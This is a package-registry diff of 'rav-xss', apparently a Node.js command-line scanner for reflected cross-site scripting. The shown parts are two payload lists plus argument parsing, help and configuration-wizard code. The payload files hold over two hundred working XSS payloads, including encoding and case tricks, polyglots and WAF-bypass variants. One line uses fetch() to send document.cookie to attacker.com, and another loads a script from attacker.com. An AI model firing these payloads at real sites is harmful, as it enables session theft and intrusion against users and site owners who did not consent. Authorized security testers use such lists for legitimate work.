rav-xss 1.0.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +449 -0
- package/package.json +41 -0
- package/payloads/Basic/basic.txt +35 -0
- package/payloads/FilterEvasion/evasion.txt +20 -0
- package/payloads/Polyglots/polyglots.txt +11 -0
- package/payloads/PureReflex/reflex.txt +222 -0
- package/payloads/WAFBypass/wafbypass.txt +12 -0
- package/src/cli/args.js +57 -0
- package/src/cli/help.js +31 -0
- package/src/cli/wizard.js +196 -0
- package/src/config/colors.js +83 -0
- package/src/config/manager.js +112 -0
- package/src/core/browser.js +430 -0
- package/src/core/scanner.js +778 -0
- package/src/index.js +113 -0
- package/src/media/ravxss.png +0 -0
- package/src/utils/box.js +266 -0
- package/src/utils/helpers.js +22 -0
- package/src/utils/logger.js +44 -0
- package/src/utils/packageInfo.js +192 -0
- package/src/utils/reporter.js +56 -0
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
<script>alert(1)</script>
|
|
2
|
+
<script>alert('XSS')</script>
|
|
3
|
+
<script>prompt(1)</script>
|
|
4
|
+
<script>confirm(1)</script>
|
|
5
|
+
<script>alert(document.cookie)</script>
|
|
6
|
+
<script>alert(document.domain)</script>
|
|
7
|
+
<img src=x onerror=alert(1)>
|
|
8
|
+
<img src=x onerror=prompt(1)>
|
|
9
|
+
<img src=x onerror=confirm(1)>
|
|
10
|
+
<body onload=alert(1)>
|
|
11
|
+
<svg onload=alert(1)>
|
|
12
|
+
<svg/onload=alert(1)>
|
|
13
|
+
<details open ontoggle=alert(1)>
|
|
14
|
+
<marquee onstart=alert(1)>
|
|
15
|
+
<video><source onerror=alert(1)>
|
|
16
|
+
<audio src=x onerror=alert(1)>
|
|
17
|
+
<input autofocus onfocus=alert(1)>
|
|
18
|
+
<select autofocus onfocus=alert(1)>
|
|
19
|
+
<textarea autofocus onfocus=alert(1)>
|
|
20
|
+
<keygen autofocus onfocus=alert(1)>
|
|
21
|
+
<iframe src=javascript:alert(1)>
|
|
22
|
+
<iframe srcdoc="<script>alert(1)</script>">
|
|
23
|
+
<a href="javascript:alert(1)">click</a>
|
|
24
|
+
<form action="javascript:alert(1)"><button>submit</button></form>
|
|
25
|
+
<body onpageshow=alert(1)>
|
|
26
|
+
<body onresize=alert(1)>
|
|
27
|
+
<body onscroll=alert(1)>
|
|
28
|
+
<svg onbegin=alert(1)>
|
|
29
|
+
<animate onbegin=alert(1)>
|
|
30
|
+
<set onbegin=alert(1)>
|
|
31
|
+
<div onmouseover=alert(1)>
|
|
32
|
+
<div onmouseenter=alert(1)>
|
|
33
|
+
<div onmousedown=alert(1)>
|
|
34
|
+
<div onmouseup=alert(1)>
|
|
35
|
+
<div onclick=alert(1)>
|
|
36
|
+
<div ondblclick=alert(1)>
|
|
37
|
+
<div oncontextmenu=alert(1)>
|
|
38
|
+
<div onfocusin=alert(1) tabindex=1>
|
|
39
|
+
<div onfocusout=alert(1) tabindex=1>
|
|
40
|
+
<div onkeydown=alert(1) contenteditable=true>
|
|
41
|
+
<div onkeyup=alert(1) contenteditable=true>
|
|
42
|
+
<div onkeypress=alert(1) contenteditable=true>
|
|
43
|
+
<div oncut=alert(1) contenteditable=true>
|
|
44
|
+
<div oncopy=alert(1) contenteditable=true>
|
|
45
|
+
<div onpaste=alert(1) contenteditable=true>
|
|
46
|
+
<div ondrag=alert(1)>
|
|
47
|
+
<div ondragend=alert(1)>
|
|
48
|
+
<div ondragenter=alert(1)>
|
|
49
|
+
<div ondragleave=alert(1)>
|
|
50
|
+
<div ondragover=alert(1)>
|
|
51
|
+
<div ondragstart=alert(1)>
|
|
52
|
+
<div ondrop=alert(1)>
|
|
53
|
+
<div ontouchstart=alert(1)>
|
|
54
|
+
<div ontouchend=alert(1)>
|
|
55
|
+
<div ontouchmove=alert(1)>
|
|
56
|
+
<div onpointerdown=alert(1)>
|
|
57
|
+
<div onpointerup=alert(1)>
|
|
58
|
+
<div onpointermove=alert(1)>
|
|
59
|
+
<div onanimationstart=alert(1)>
|
|
60
|
+
<div onanimationend=alert(1)>
|
|
61
|
+
<div onanimationiteration=alert(1)>
|
|
62
|
+
<div ontransitionend=alert(1)>
|
|
63
|
+
<div onabort=alert(1)>
|
|
64
|
+
<div onhashchange=alert(1)>
|
|
65
|
+
<div onmessage=alert(1)>
|
|
66
|
+
<div onoffline=alert(1)>
|
|
67
|
+
<div ononline=alert(1)>
|
|
68
|
+
<div onstorage=alert(1)>
|
|
69
|
+
<div onunload=alert(1)>
|
|
70
|
+
<ScRiPt>alert(1)</ScRiPt>
|
|
71
|
+
<SCRIPT>alert(1)</SCRIPT>
|
|
72
|
+
<scr<script>ipt>alert(1)</scr</script>ipt>
|
|
73
|
+
<sCrIpT>alert(1)</sCrIpT>
|
|
74
|
+
<<script>alert(1)//<</script>
|
|
75
|
+
<script>alert(1)</script
|
|
76
|
+
<script>alert(1)//
|
|
77
|
+
<script%20>alert(1)</script>
|
|
78
|
+
<script >alert(1)</script>
|
|
79
|
+
%3Cscript%3Ealert(1)%3C/script%3E
|
|
80
|
+
%3cscript%3ealert(1)%3c/script%3e
|
|
81
|
+
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
|
|
82
|
+
%253Cscript%253Ealert(1)%253C%252Fscript%253E
|
|
83
|
+
<script>alert(1)</script>
|
|
84
|
+
<script>alert(1)</script>
|
|
85
|
+
<;script>;alert(1)<;/script>;
|
|
86
|
+
<script%00>alert(1)</script>
|
|
87
|
+
<sc%00ript>alert(1)</sc%00ript>
|
|
88
|
+
<%00script>alert(1)</%00script>
|
|
89
|
+
<script%09>alert(1)</script>
|
|
90
|
+
<script%0a>alert(1)</script>
|
|
91
|
+
<script%0d>alert(1)</script>
|
|
92
|
+
<img src=x onerror=alert(1)//
|
|
93
|
+
<img src=x onerror=alert(1)%00
|
|
94
|
+
<img src=x%00 onerror=alert(1)>
|
|
95
|
+
<img src=x onerror='alert(1)'>
|
|
96
|
+
<img src=x onerror="alert(1)">
|
|
97
|
+
<img src=x onerror=`alert(1)`>
|
|
98
|
+
<img src=x onerror=alert(1)>
|
|
99
|
+
<img src=x onerror=alert(1)>
|
|
100
|
+
<img src=x onerror=alert(1)>
|
|
101
|
+
<img src=x onerror=alert(1)>
|
|
102
|
+
<input onfocus=alert(1) autofocus>
|
|
103
|
+
<input onfocus="alert(1)" autofocus>
|
|
104
|
+
<input onfocus='alert(1)' autofocus>
|
|
105
|
+
\u003Cscript\u003Ealert(1)\u003C/script\u003E
|
|
106
|
+
\x3Cscript\x3Ealert(1)\x3C/script\x3E
|
|
107
|
+
\74script\76alert(1)\74/script\76
|
|
108
|
+
<script>//alert(1)</script>
|
|
109
|
+
<script><!--alert(1)--></script>
|
|
110
|
+
<script><!--//--><![CDATA[//><!--alert(1)//--><!]]></script>
|
|
111
|
+
<script>/**/alert(1)/**/</script>
|
|
112
|
+
<img src=x onerror=/*comment*/alert(1)>
|
|
113
|
+
<style><!--</style><script>alert(1)</script>-->
|
|
114
|
+
<script>window.alert(1)</script>
|
|
115
|
+
<script>self.alert(1)</script>
|
|
116
|
+
<script>parent.alert(1)</script>
|
|
117
|
+
<script>top.alert(1)</script>
|
|
118
|
+
<script>this.alert(1)</script>
|
|
119
|
+
<script>globalThis.alert(1)</script>
|
|
120
|
+
<script>[].constructor.constructor('alert(1)')()</script>
|
|
121
|
+
<script>'alert(1)'instanceof{[Symbol.hasInstance]:eval}</script>
|
|
122
|
+
<script>document.write('<script>alert(1)<\/script>')</script>
|
|
123
|
+
<script>eval('alert(1)')</script>
|
|
124
|
+
<script>setTimeout('alert(1)',0)</script>
|
|
125
|
+
<script>setInterval('alert(1)',0)</script>
|
|
126
|
+
<script>Function('alert(1)')()</script>
|
|
127
|
+
<script>eval('al'+'ert(1)')</script>
|
|
128
|
+
<script>window['al'+'ert'](1)</script>
|
|
129
|
+
<script>window['al\u0065rt'](1)</script>
|
|
130
|
+
<img src=x onerror=window['al'+'ert'](1)>
|
|
131
|
+
<img src=x onerror=eval('al'+'ert(1)')>
|
|
132
|
+
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
|
|
133
|
+
<script>Function(String.fromCharCode(97,108,101,114,116,40,49,41))()</script>
|
|
134
|
+
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
|
|
135
|
+
<img src=x onerror=Function(String.fromCharCode(97,108,101,114,116,40,49,41))()>
|
|
136
|
+
<script>eval(atob('YWxlcnQoMSk='))</script>
|
|
137
|
+
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
|
|
138
|
+
<script>Function(atob('YWxlcnQoMSk='))()</script>
|
|
139
|
+
<svg/onload=alert(1)>
|
|
140
|
+
<svg%0a%0d%09onload=alert(1)>
|
|
141
|
+
<svg onload=alert(1)//
|
|
142
|
+
<svg/////onload=alert(1)>
|
|
143
|
+
<svg/OnLoad=alert(1)>
|
|
144
|
+
<svg/onload=prompt(1)>
|
|
145
|
+
<svg/onload=confirm(1)>
|
|
146
|
+
<svg><set onbegin=alert(1)>
|
|
147
|
+
<svg><animate onbegin=alert(1)>
|
|
148
|
+
<svg><animatetransform onbegin=alert(1)>
|
|
149
|
+
<script>prompt(1)</script>
|
|
150
|
+
<script>confirm(1)</script>
|
|
151
|
+
<img src=x onerror=prompt(1)>
|
|
152
|
+
<img src=x onerror=confirm`1`>
|
|
153
|
+
<body onload=prompt(1)>
|
|
154
|
+
<select autofocus onfocus=alert(1)>
|
|
155
|
+
<textarea autofocus onfocus=alert(1)>
|
|
156
|
+
<keygen autofocus onfocus=alert(1)>
|
|
157
|
+
<a href="javascript:alert(1)">click</a>
|
|
158
|
+
<iframe src=javascript:alert(1)>
|
|
159
|
+
<img src=x onerror=alert(1)//
|
|
160
|
+
<video><source onerror=alert(1)>
|
|
161
|
+
<marquee onstart=alert(1)>
|
|
162
|
+
<script>alert(document.cookie)</script>
|
|
163
|
+
<script>alert(window.location)</script>
|
|
164
|
+
<img src=x onerror=alert(document.cookie)>
|
|
165
|
+
<svg onload=alert(document.domain)>
|
|
166
|
+
<body onload=document.write('<script>alert(1)<\/script>')>
|
|
167
|
+
<script>window['alert'](1)</script>
|
|
168
|
+
<img src=x onerror=window['alert'](1)>
|
|
169
|
+
<script>self['alert'](1)</script>
|
|
170
|
+
<script>top['alert'](1)</script>
|
|
171
|
+
<img src=x onerror=fetch('http://attacker.com/?c='+document.cookie)>
|
|
172
|
+
<script>document.body.innerHTML='<script>alert(1)<\/script>'</script>
|
|
173
|
+
<script>location='javascript:alert(1)'</script>
|
|
174
|
+
<a href="javascript:location='javascript:alert(1)'">click</a>
|
|
175
|
+
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
|
|
176
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
|
177
|
+
"><img src=x onerror=prompt(1);>
|
|
178
|
+
"><svg/onload=alert(1)>
|
|
179
|
+
" onclick=alert(1) id=x
|
|
180
|
+
' onclick=alert(1) id=x
|
|
181
|
+
` onclick=alert(1) id=x
|
|
182
|
+
</script><svg/onload=alert(1)>
|
|
183
|
+
</script><img src=x onerror=alert(1)>
|
|
184
|
+
</title><svg/onload=alert(1)>
|
|
185
|
+
</textarea><svg/onload=alert(1)>
|
|
186
|
+
%253Cscript%253Ealert(1)%253C%252Fscript%253E
|
|
187
|
+
%25253Cscript%25253Ealert(1)%25253C%25252Fscript%25253E
|
|
188
|
+
<image src=x onerror=alert(1)>
|
|
189
|
+
<image src=1 onerror=alert(1)>
|
|
190
|
+
<isindex action="javascript:alert(1)" type=image>
|
|
191
|
+
<isindex action=javascript:alert(1) type=image>
|
|
192
|
+
<div style="background-image:url(javascript:alert(1))">
|
|
193
|
+
<div style="background:url(javascript:alert(1))">
|
|
194
|
+
<div style="width:expression(alert(1))">
|
|
195
|
+
<style>@import'javascript:alert(1)';</style>
|
|
196
|
+
<style>body{background:url('javascript:alert(1)')}</style>
|
|
197
|
+
<link rel="stylesheet" href="javascript:alert(1);">
|
|
198
|
+
<video poster=javascript:alert(1)>
|
|
199
|
+
<video><source onerror="javascript:alert(1)">
|
|
200
|
+
<audio><source onerror="javascript:alert(1)">
|
|
201
|
+
<video onerror="javascript:alert(1)"><source></source></video>
|
|
202
|
+
<video oncanplay="alert(1)" src="http://victim.com/video.mp4">
|
|
203
|
+
<form><button formaction="javascript:alert(1)">submit</button></form>
|
|
204
|
+
<form><input formaction="javascript:alert(1)" type="submit" value="submit">
|
|
205
|
+
<form id="x" action="javascript:alert(1)"><button>submit</button></form>
|
|
206
|
+
<a href="javascript:alert(1)" id="x">click</a>
|
|
207
|
+
<listing><img src=1 onerror=alert(1)></listing>
|
|
208
|
+
<xmp><img src=1 onerror=alert(1)></xmp>
|
|
209
|
+
<svg><style><img src=1 onerror=alert(1)></style></svg>
|
|
210
|
+
<svg><style><img src=1 onerror=alert(1)></style></svg>
|
|
211
|
+
<script src=//attacker.com/xss.js></script>
|
|
212
|
+
<img src=//attacker.com/xss.png onerror=alert(1)>
|
|
213
|
+
<svg/onload=alert(1)>
|
|
214
|
+
<svg onload=alert(1)>
|
|
215
|
+
<x onfocus=alert(1) autofocus>
|
|
216
|
+
<x onclick=alert(1)>
|
|
217
|
+
<a href=javascript:alert(1)>
|
|
218
|
+
<body onload=alert(1)>
|
|
219
|
+
<q/oncut=alert(1)>
|
|
220
|
+
<q/oncopy=alert(1)>
|
|
221
|
+
<q/onpaste=alert(1)>
|
|
222
|
+
<math><maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(1)">CLICKME</maction></math>
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
<svg/onload=alert(1)>
|
|
2
|
+
<a href="javascript:alert(1)">
|
|
3
|
+
<img src=x onerror=alert(1)>
|
|
4
|
+
<body onload=alert(1)>
|
|
5
|
+
<script>%00alert(1)</script>
|
|
6
|
+
<ScRiPt>alert(1)</sCrIpT>
|
|
7
|
+
%253Cscript%253Ealert(1)%253C%252Fscript%253E
|
|
8
|
+
<img src=x onerror=alert(1)>
|
|
9
|
+
<svg/onload=alert(1)>
|
|
10
|
+
<script>eval('al'+'ert(1)')</script>
|
|
11
|
+
<scr<script>ipt>alert(1)</script>
|
|
12
|
+
<img src = x onerror = alert(1)>
|
package/src/cli/args.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* 🔍 Analisa os argumentos da linha de comando
|
|
5
|
+
* @returns {Object} Argumentos parseados
|
|
6
|
+
*/
|
|
7
|
+
const parseArgs = () => {
|
|
8
|
+
const args = process.argv.slice(2);
|
|
9
|
+
return {
|
|
10
|
+
headed: args.includes("--headed"),
|
|
11
|
+
verbose: args.includes("--verbose") || args.includes("-v"),
|
|
12
|
+
help: args.includes("--help") || args.includes("-h"),
|
|
13
|
+
configure: args.includes("--configure"),
|
|
14
|
+
openReports: args.includes("--open-reports") || args.includes("-r"),
|
|
15
|
+
url: getArgValue(args, "--url"),
|
|
16
|
+
category: getArgValue(args, "--category"),
|
|
17
|
+
mode: getArgValue(args, "--mode"),
|
|
18
|
+
delay: parseInt(getArgValue(args, "--delay") || "0", 10)
|
|
19
|
+
};
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* 🔍 Obtém o valor de um argumento
|
|
24
|
+
* @param {Array} args - Lista de argumentos
|
|
25
|
+
* @param {string} flag - Nome da flag
|
|
26
|
+
* @returns {string|null} Valor do argumento ou null
|
|
27
|
+
*/
|
|
28
|
+
const getArgValue = (args, flag) => {
|
|
29
|
+
const idx = args.indexOf(flag);
|
|
30
|
+
if (idx !== -1 && args[idx + 1] && !args[idx + 1].startsWith("--")) {
|
|
31
|
+
return args[idx + 1];
|
|
32
|
+
}
|
|
33
|
+
return null;
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* ❓ Verifica se a flag de ajuda foi passada
|
|
38
|
+
* @param {Object} args - Argumentos parseados
|
|
39
|
+
* @returns {boolean} true se --help ou -h foi passado
|
|
40
|
+
*/
|
|
41
|
+
const hasHelp = (args) => args.help;
|
|
42
|
+
|
|
43
|
+
/**
|
|
44
|
+
* ⚙️ Verifica se a flag de configuração foi passada
|
|
45
|
+
* @param {Object} args - Argumentos parseados
|
|
46
|
+
* @returns {boolean} true se --configure foi passado
|
|
47
|
+
*/
|
|
48
|
+
const shouldConfigure = (args) => args.configure;
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* 📁 Verifica se a flag de abrir relatórios foi passada
|
|
52
|
+
* @param {Object} args - Argumentos parseados
|
|
53
|
+
* @returns {boolean} true se --open-reports ou -r foi passado
|
|
54
|
+
*/
|
|
55
|
+
const shouldOpenReports = (args) => args.openReports;
|
|
56
|
+
|
|
57
|
+
module.exports = { parseArgs, hasHelp, shouldConfigure, shouldOpenReports };
|
package/src/cli/help.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const chalk = require("chalk");
|
|
4
|
+
|
|
5
|
+
const showHelp = () => {
|
|
6
|
+
console.log(chalk.cyan(`
|
|
7
|
+
${chalk.bold('🛡️ RAV XSS — Reflected XSS Scanner')}
|
|
8
|
+
|
|
9
|
+
${chalk.hex('#a78bfa').bold('Usage:')}
|
|
10
|
+
rav-xss
|
|
11
|
+
rav-xss [options]
|
|
12
|
+
|
|
13
|
+
${chalk.hex('#7ec8e3').bold('Options:')}
|
|
14
|
+
--url <url> Target URL with [XSS] placeholder
|
|
15
|
+
--category <name> Payload category (Basic, FilterEvasion, Polyglots, WAFBypass)
|
|
16
|
+
--delay <ms> Delay between requests (default: 500ms)
|
|
17
|
+
--verbose, -v Show detailed output
|
|
18
|
+
--help, -h Display this help message
|
|
19
|
+
--configure Interactive configuration wizard
|
|
20
|
+
--open-reports, -r Open reports folder in file explorer
|
|
21
|
+
|
|
22
|
+
${chalk.hex('#7ec8e3').bold('Examples:')}
|
|
23
|
+
rav-xss
|
|
24
|
+
rav-xss --url "https://example.com/page?q=[XSS]" --category Basic
|
|
25
|
+
rav-xss --configure
|
|
26
|
+
rav-xss --open-reports
|
|
27
|
+
rav-xss -r
|
|
28
|
+
`));
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
module.exports = { showHelp };
|
|
@@ -0,0 +1,196 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const inquirer = require("inquirer");
|
|
4
|
+
const chalk = require("chalk");
|
|
5
|
+
const boxen = require("boxen");
|
|
6
|
+
const { saveConfig, getDefaultConfig } = require("../config/manager");
|
|
7
|
+
const fs = require("fs");
|
|
8
|
+
const path = require("path");
|
|
9
|
+
const { isTermux } = require("../core/browser");
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* 🧙♂️ Wizard de configuração interativo
|
|
13
|
+
* Suporte a config.txt externo e detecção automática de ambiente
|
|
14
|
+
*/
|
|
15
|
+
const runWizard = async () => {
|
|
16
|
+
console.clear();
|
|
17
|
+
console.log(boxen(chalk.hex("#a78bfa").bold("⚙ Configuration Wizard"), {
|
|
18
|
+
padding: 1, margin: 1, borderStyle: "round", borderColor: "#a78bfa",
|
|
19
|
+
}));
|
|
20
|
+
|
|
21
|
+
const externalConfig = loadExternalConfig();
|
|
22
|
+
let existingConfig = {};
|
|
23
|
+
|
|
24
|
+
if (externalConfig) {
|
|
25
|
+
existingConfig = externalConfig;
|
|
26
|
+
} else {
|
|
27
|
+
try {
|
|
28
|
+
existingConfig = JSON.parse(fs.readFileSync("./config.json", "utf8"));
|
|
29
|
+
} catch (e) { }
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
const isAndroid = isTermux();
|
|
33
|
+
const availableModes = isAndroid
|
|
34
|
+
? ["axios (Termux - Playwright disabled)"]
|
|
35
|
+
: ["axios", "playwright"];
|
|
36
|
+
const defaultMode = isAndroid ? "axios" : (existingConfig.mode || "axios");
|
|
37
|
+
|
|
38
|
+
if (isAndroid) {
|
|
39
|
+
console.log(chalk.hex("#FF9E64")("\n 📱 Termux detected - Playwright mode disabled\n"));
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
const answers = await inquirer.prompt([
|
|
43
|
+
{
|
|
44
|
+
type: "input", name: "targetName",
|
|
45
|
+
message: chalk.hex("#7ec8e3")("📋 Target name:"),
|
|
46
|
+
default: existingConfig.targets?.[0]?.name || defaultCfg.targets[0].name,
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
type: "input", name: "targetUrl",
|
|
50
|
+
message: chalk.hex("#7ec8e3")("🌐 Target URL (use [XSS] as placeholder):"),
|
|
51
|
+
default: existingConfig.targets?.[0]?.url || defaultCfg.targets[0].url,
|
|
52
|
+
validate: (input) => input.includes("[XSS]") || "URL must contain [XSS] placeholder",
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
type: "number", name: "timeout",
|
|
56
|
+
message: chalk.hex("#a78bfa")("⏱️ Request timeout (ms):"),
|
|
57
|
+
default: existingConfig.scanner?.timeout_ms || defaultCfg.scanner.timeout_ms,
|
|
58
|
+
},
|
|
59
|
+
{
|
|
60
|
+
type: "number", name: "delay",
|
|
61
|
+
message: chalk.hex("#a78bfa")("⏳ Delay between requests (ms):"),
|
|
62
|
+
default: existingConfig.scanner?.delay_between_requests_ms || defaultCfg.scanner.delay_between_requests_ms,
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
type: "list", name: "mode",
|
|
66
|
+
message: chalk.hex("#4ECDC4")("🔄 Execution mode:"),
|
|
67
|
+
choices: availableModes,
|
|
68
|
+
default: defaultMode,
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
type: "confirm", name: "showSafe",
|
|
72
|
+
message: chalk.hex("#ffd93d")("👁️ Show non-vulnerable results?"),
|
|
73
|
+
default: existingConfig.output?.show_safe || false,
|
|
74
|
+
},
|
|
75
|
+
]);
|
|
76
|
+
|
|
77
|
+
const newConfig = getDefaultConfig();
|
|
78
|
+
newConfig.targets = [{
|
|
79
|
+
name: answers.targetName,
|
|
80
|
+
url: answers.targetUrl,
|
|
81
|
+
notes: "Configured via wizard"
|
|
82
|
+
}];
|
|
83
|
+
newConfig.scanner.timeout_ms = answers.timeout;
|
|
84
|
+
newConfig.scanner.delay_between_requests_ms = answers.delay;
|
|
85
|
+
newConfig.output.show_safe = answers.showSafe;
|
|
86
|
+
newConfig.mode = answers.mode.includes("playwright") ? "playwright" : "axios";
|
|
87
|
+
|
|
88
|
+
saveConfig(newConfig);
|
|
89
|
+
|
|
90
|
+
saveExternalConfig({
|
|
91
|
+
target: answers.targetUrl,
|
|
92
|
+
delay: answers.delay,
|
|
93
|
+
mode: newConfig.mode,
|
|
94
|
+
timeout: answers.timeout
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
console.log(boxen(chalk.hex("#6bcb77").bold("✓ Configuration saved!"), {
|
|
98
|
+
padding: 1, margin: 1, borderStyle: "round", borderColor: "#6bcb77",
|
|
99
|
+
}));
|
|
100
|
+
};
|
|
101
|
+
|
|
102
|
+
/**
|
|
103
|
+
* 📄 Carrega configuração do arquivo config.txt
|
|
104
|
+
* @returns {Object|null} Configuração carregada ou null
|
|
105
|
+
*/
|
|
106
|
+
function loadExternalConfig() {
|
|
107
|
+
const configPaths = [
|
|
108
|
+
path.join(process.cwd(), "config.txt"),
|
|
109
|
+
path.join(__dirname, "..", "..", "config.txt")
|
|
110
|
+
];
|
|
111
|
+
|
|
112
|
+
for (const configPath of configPaths) {
|
|
113
|
+
if (fs.existsSync(configPath)) {
|
|
114
|
+
try {
|
|
115
|
+
const content = fs.readFileSync(configPath, "utf8");
|
|
116
|
+
return parseConfigTxt(content);
|
|
117
|
+
} catch (e) {
|
|
118
|
+
console.log(chalk.hex("#FF9999")(`⚠️ Error reading config.txt: ${e.message}`));
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
return null;
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/**
|
|
127
|
+
* 🔍 Faz parsing do arquivo config.txt
|
|
128
|
+
* @param {string} content - Conteúdo do arquivo
|
|
129
|
+
* @returns {Object} Configuração parseada
|
|
130
|
+
*/
|
|
131
|
+
function parseConfigTxt(content) {
|
|
132
|
+
const config = getDefaultConfig();
|
|
133
|
+
const lines = content.split("\n");
|
|
134
|
+
|
|
135
|
+
for (const line of lines) {
|
|
136
|
+
const trimmed = line.trim();
|
|
137
|
+
if (!trimmed || trimmed.startsWith("#") || trimmed.startsWith("//")) continue;
|
|
138
|
+
|
|
139
|
+
const match = trimmed.match(/^(\w+)\s*=\s*(.+)$/);
|
|
140
|
+
if (!match) continue;
|
|
141
|
+
|
|
142
|
+
const [, key, value] = match;
|
|
143
|
+
|
|
144
|
+
switch (key.toLowerCase()) {
|
|
145
|
+
case "target":
|
|
146
|
+
case "url":
|
|
147
|
+
config.targets = [{
|
|
148
|
+
name: "External Config",
|
|
149
|
+
url: value.trim(),
|
|
150
|
+
notes: "From config.txt"
|
|
151
|
+
}];
|
|
152
|
+
break;
|
|
153
|
+
case "delay":
|
|
154
|
+
config.scanner.delay_between_requests_ms = parseInt(value) || 500;
|
|
155
|
+
break;
|
|
156
|
+
case "mode":
|
|
157
|
+
if (value.trim().toLowerCase() === "playwright" && !isTermux()) {
|
|
158
|
+
config.mode = "playwright";
|
|
159
|
+
} else {
|
|
160
|
+
config.mode = "axios";
|
|
161
|
+
}
|
|
162
|
+
break;
|
|
163
|
+
case "timeout":
|
|
164
|
+
config.scanner.timeout_ms = parseInt(value) || 8000;
|
|
165
|
+
break;
|
|
166
|
+
case "verbose":
|
|
167
|
+
config.output.verbose = value.trim().toLowerCase() === "true";
|
|
168
|
+
break;
|
|
169
|
+
case "user_agent":
|
|
170
|
+
config.scanner.user_agent = value.trim();
|
|
171
|
+
break;
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
return config;
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
/**
|
|
179
|
+
* 💾 Salva configuração em config.txt
|
|
180
|
+
* @param {Object} config - Configuração a ser salva
|
|
181
|
+
*/
|
|
182
|
+
function saveExternalConfig(config) {
|
|
183
|
+
let content = "";
|
|
184
|
+
content += "# RAV XSS Configuration\n";
|
|
185
|
+
content += `# Generated: ${new Date().toISOString()}\n\n`;
|
|
186
|
+
|
|
187
|
+
if (config.target) content += `target=${config.target}\n`;
|
|
188
|
+
if (config.delay) content += `delay=${config.delay}\n`;
|
|
189
|
+
if (config.mode) content += `mode=${config.mode}\n`;
|
|
190
|
+
if (config.timeout) content += `timeout=${config.timeout}\n`;
|
|
191
|
+
|
|
192
|
+
const configPath = path.join(process.cwd(), "config.txt");
|
|
193
|
+
fs.writeFileSync(configPath, content);
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
module.exports = { runWizard };
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const chalk = require("chalk");
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* 🎨 Sistema de cores para RAV XSS
|
|
7
|
+
* Cores vibrantes e acessíveis para melhor experiência visual
|
|
8
|
+
*/
|
|
9
|
+
const colors = {
|
|
10
|
+
primary: chalk.hex("#06D6A0"),
|
|
11
|
+
success: chalk.hex("#57f287"),
|
|
12
|
+
action: chalk.hex("#4ECDC4"),
|
|
13
|
+
action2: chalk.hex("#4ECDC4"),
|
|
14
|
+
highlight: chalk.hex("#FFD166"),
|
|
15
|
+
highlight2: chalk.hex("#F8E789"),
|
|
16
|
+
warning: chalk.hex("#FF9E64"),
|
|
17
|
+
info: chalk.hex("#67d1f5"),
|
|
18
|
+
link: chalk.hex("#8AD4FF").underline,
|
|
19
|
+
link2: chalk.hex("#8AD4FF"),
|
|
20
|
+
accent: chalk.hex("#4CC9F0"),
|
|
21
|
+
danger: chalk.hex("#FF9999"),
|
|
22
|
+
error: chalk.hex("#F72585"),
|
|
23
|
+
title: chalk.hex("#E9ECEF").bold,
|
|
24
|
+
subtitle: chalk.hex("#CED4DA"),
|
|
25
|
+
text: chalk.hex("#E9ECEF"),
|
|
26
|
+
muted: chalk.hex("#6C757D"),
|
|
27
|
+
dim: chalk.hex("#495057"),
|
|
28
|
+
scan: chalk.hex("#9D4EDD"),
|
|
29
|
+
tag: chalk.hex("#FF6B6B"),
|
|
30
|
+
url: chalk.hex("#4ECDC4"),
|
|
31
|
+
uuid: chalk.hex("#FFD166"),
|
|
32
|
+
rate: chalk.hex("#20C997"),
|
|
33
|
+
up: chalk.hex("#57f287"),
|
|
34
|
+
down: chalk.hex("#FF9999"),
|
|
35
|
+
stable: chalk.hex("#6C757D"),
|
|
36
|
+
|
|
37
|
+
menuItem: chalk.hex("#E9ECEF"),
|
|
38
|
+
menuItemSelected: chalk.hex("#4ECDC4"),
|
|
39
|
+
menuDescription: chalk.hex("#6C757D"),
|
|
40
|
+
menuSeparator: chalk.hex("#495057"),
|
|
41
|
+
menuConfig: chalk.hex("#FF9E64"),
|
|
42
|
+
menuExit: chalk.hex("#F72585"),
|
|
43
|
+
|
|
44
|
+
icon: {
|
|
45
|
+
category: "📂",
|
|
46
|
+
target: "🌐",
|
|
